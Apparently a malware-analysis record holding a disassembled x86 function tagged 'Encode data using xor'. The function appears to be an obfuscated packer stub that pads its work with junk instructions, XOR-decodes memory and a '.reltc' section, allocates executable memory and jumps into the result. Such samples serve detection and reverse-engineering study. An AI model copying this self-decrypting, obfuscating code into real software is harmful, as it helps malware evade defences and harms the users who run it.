Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x32a4951d
add ecx, ecx
sub ecx, esi
popal
or esi, esi
inc ecx
mov esi, 0
mov edi, ebx
sub edx, 0xa03dd2fb
mov edx, eax
or eax, edx
mov ecx, edi
inc eax
sub eax, edx
mov ebx, ecx
add edx, 1
sub eax, 1
add edx, 0x91cd4bd6
add esi, 1
mov eax, edx
add eax, edx
sub eax, 0x436c99b5
cmp esi, 0x1006865
jne 0xa789bf
sub eax, 1
mov edx, 0xd6c075c3
inc eax
add esi, 0xc10d2707
sub esi, 0x17b2f048
mov edi, 0xa78796
and edx, edx
not eax
mov ecx, 0xa7898a
mov ebx, eax
or ebx, ebx
add ebx, 0xf0511121
mov esi, dword [edi]
and ebx, eax
mov ebx, 0x64d06d93
mov ebx, 0x756a59c2
and esi, 0xff
sub edx, eax
sub edx, ebx
or eax, ebx
xor dword [ecx], esi
sub edx, ebx
not edx
sub edx, eax
inc ecx
mov eax, edx
mov edx, ebx
dec ebx
inc edi
and eax, ebx
mov eax, edx
mov edx, 0x9fd00375
cmp ecx, entry0
jl 0xa78a30
add eax, 0x3a1ce03f
not ebx
or ebx, ebx
dec edx
not ebx
add eax, 0xb09bae94
sub edx, 0xe5b65dc8
mov edx, ebx
mov edi, 0xa7898e
mov edx, esi
add edx, 0x74758280
mov edi, dword [edi]
add edx, edx
not edx
not ecx
mov edi, dword [edi]
add ecx, edx
sub ebx, 0x46e507a4
dec ebx
sub esp, 4
mov dword [esp], edi
add esi, ecx
and ebx, ebx
add ecx, 0x18a6967f
mov edi, 0xa7898a
dec esi
dec ebx
mov edi, dword [edi]
sub ebx, 0x7ae5d8bf
add edx, 1
mov edi, dword [edi]
not edx
and edx, ebx
or ecx, esi
sub esp, 4
mov dword [esp], 0xa78992
mov ebx, 0x3b0d4515
and ebx, edx
call edi
sub esi, ebx
inc esi
not edx
mov edi, dword [esp]
add esp, 4
add ecx, edx
add ebx, 0x8e95d346
push 0xa7899f
add ebx, 0xb2c7e50f
or edx, edx
push eax
sub ebx, 0x10a66667
sub ebx, 0xabf3d858
sub esi, 0xa8d76151
call edi
and ebx, esi
add esi, ebx
sub esp, 4
mov dword [esp], 0x40
sub ecx, 0x28c9b6d3
mov esi, 0xbba49b6e
sub esp, 4
mov dword [esp], 0x3000
sub esi, 0x43da88b1
inc esi
sub esp, 4
mov dword [esp], 0x2000076a
add ecx, 1
sub ebx, 1
sub esi, ebx
sub esp, 4
mov dword [esp], 0
add edx, ebx
sub edx, 0xa451625f
call eax
dec ecx
and ebx, esi
add eax, 0x200006eb
sub edx, esi
add esi, ebx
mov edi, 0xf087b41e
inc edx
mov edx, 0x2dc35b79
mov dword [eax], edi
mov ebx, 0x82ca9e5b
or ebx, ebx
mov edi, dword [eax]
inc esi
mov esi, 0x3009ccf4
not edx
cmp edi, 0xf087b41e
je 0xa78bae
mov ecx, 0
mov ebx, dword [ecx]
mov ebx, edx
sub ebx, esi
add edx, 0x949c8a69
add ecx, 0x9d12c874
sub ebx, 1
mov esi, ecx
sub esi, 0x422b234a
not esi
mov edx, section..reltc
sub ecx, 0xfd594ef7
not ecx
add esi, esi
mov eax, 0xa78795
and ecx, ecx
mov ecx, esi
mov ebx, 0
dec esi
not ecx
mov edi, 0xa78796
dec ecx
or ecx, ecx
lea edi, [ebx + edi]
mov esi, 0xbb1b7b8c
add esi, 0x3219c39b
or ecx, ecx
mov edi, dword [edi]
mov ecx, esi
or ecx, esi
mov esi, 0x588e486b
and edi, 0xff
add ecx, 1
or esi, esi
add ebx, 1
inc esi
dec esi
cmp ebx, 0x1f4
jne 0xa78c34
mov ebx, 0
add esi, ecx
and esi, esi
mov ecx, 0xebd1d252
or ecx, esi
dec esi
xor dword [edx], edi
dec ecx
mov ecx, 0x559e0558
add edx, 2
and esi, esi
inc esi
dec ecx
cmp edx, eax
jl 0xa78bee
not esi
sub ecx, 0xdfd14f62
mov esi, 0x69b7f507
add esi, 0x6d794311
add esi, esi
mov edx, section..reltc
add esi, 0x660d327b
sub ecx, esi
mov edi, section..reltc
add ecx, esi
or ecx, esi
add ecx, esi
mov eax, 0xa78795
or esi, esi
dec ecx
mov ebx, 0
mov esi, 0x4c0dfec5
add ecx, 0x7a6c8f4
not ecx
mov bl, byte [edi]
add esi, esi
sub esi, 0x5315eba9
add ecx, 0x827dff7f
mov byte [edx], bl
and esi, esi
not esi
inc edx
sub esi, 0x27ed6695
dec esi
add edi, 2
add ecx, 0x4acf5e61
dec esi
cmp edi, eax
jle 0xa78ca1
inc ecx
sub ecx, 0x21b8f4f5
add esi, 0x31a19f19
or ecx, ecx
and ecx, esi
add esi, 0x7868dfde
push 0x8dc6a0
add ecx, ecx
dec esi
ret